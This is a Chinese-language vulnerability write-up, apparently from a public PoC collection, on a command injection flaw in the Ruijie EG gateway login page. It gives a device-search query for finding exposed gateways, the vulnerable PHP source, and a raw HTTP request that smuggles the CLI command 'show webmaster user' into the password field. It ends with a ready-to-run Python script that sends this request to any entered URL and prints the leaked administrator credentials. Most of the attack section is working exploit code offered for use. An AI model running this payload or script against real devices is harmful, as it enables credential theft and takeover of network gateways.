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180 lines
5.1 KiB
Markdown
180 lines
5.1 KiB
Markdown
# 锐捷 EG易网关 管理员账号密码泄露漏洞
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## 漏洞描述
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锐捷EG易网关 login.php存在 CLI命令注入，导致管理员账号密码泄露漏洞
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## 漏洞影响
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```
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锐捷EG易网关
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```
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## 网络测绘
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```
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app="Ruijie-EG易网关"
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```
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## 漏洞复现
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登录页面如下
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漏洞文件 login.php
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```php
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<?php
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/**
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* 用户登录处理
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*/
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define('IN', true); //定位该文件是入口文件
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define('DS', DIRECTORY_SEPARATOR);
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define('AROOT', dirname(__FILE__) . DS);
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class defaultController {
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function __construct() {
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}
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/**
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* 登录处理
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*/
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public function indexAction() {
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$username = p("username");$password = p("password");$data = [];
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$reg='/(\r|\n)+/';
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if (count(preg_split($reg, $username)) > 1 || count(preg_split($reg, $password)) > 1) {
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$data["status"] = 6;
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$data["msg"] = "username or password can't exist '\r\n'";
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json_echo($data);
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exit();
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}
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if ($username == FALSE || $password == FALSE) {
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$data["status"] = 5;
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$data["msg"] = "username or password can't empty";
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json_echo($data);
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exit();
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}
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$res = execCli("exec", "webmaster $username $password");
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if ($res["status"] != 1) {
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json_echo($res);
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exit();
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}
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$isSuccess = trim($res["data"]);
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if ($isSuccess == 0) { //用户名、账号验证成功
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session_start();
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$_SESSION['username'] = $username; //记录用户名
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$_SESSION["lasttime"] = time(); //记录登录时间
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$config = @file_get_contents(DS . "data" . DS . "web.config"); //获取web配置信息
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if ($config != false) {
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$config = unserialize($config);
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$_SESSION["timeout"] = isset($config["loginTimeout"]) ? $config["loginTimeout"] * 60 : c("timeout");
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} else {
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$_SESSION["timeout"] = c("timeout");
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}
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setcookie("user", $_SESSION['username']);
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}
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$res["data"] = $isSuccess;
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json_echo($res);
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}
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/**
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* 获取设备信息
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*/
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function versionAction() {
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$info = $version = execCli("exec", "show version detail", "");
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$info["data"] = preg_split("/\r*\n/", $info["data"]);
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json_echo($info);
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}
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}
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include_once(AROOT . "init.php"); //mvc初始化入口，放在底部
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```
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关键代码部分
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```plain
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if ($username == FALSE || $password == FALSE) {
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$data["status"] = 5;
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$data["msg"] = "username or password can't empty";
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json_echo($data);
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exit();
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}
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$res = execCli("exec", "webmaster $username $password");
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if ($res["status"] != 1) {
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json_echo($res);
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exit();
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}
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$isSuccess = trim($res["data"]);
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```
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发送请求包，拼接 CLI指令 **show webmaster user**
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```plain
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POST /login.php HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 49
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Content-Type: application/x-www-form-urlencoded
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X-Requested-With: XMLHttpRequest
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Accept-Encoding: gzip
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username=admin&password=admin?show+webmaster+user
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```
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成功获取账号密码
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 锐捷EG网关 管理员账号密码泄露 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/login.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = 'username=admin&password=admin?show+webmaster+user'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
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if "data" in response.text and response.status_code == 200:
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print("\033[36m[o] 成功获取, 响应为:{} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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#
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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``` |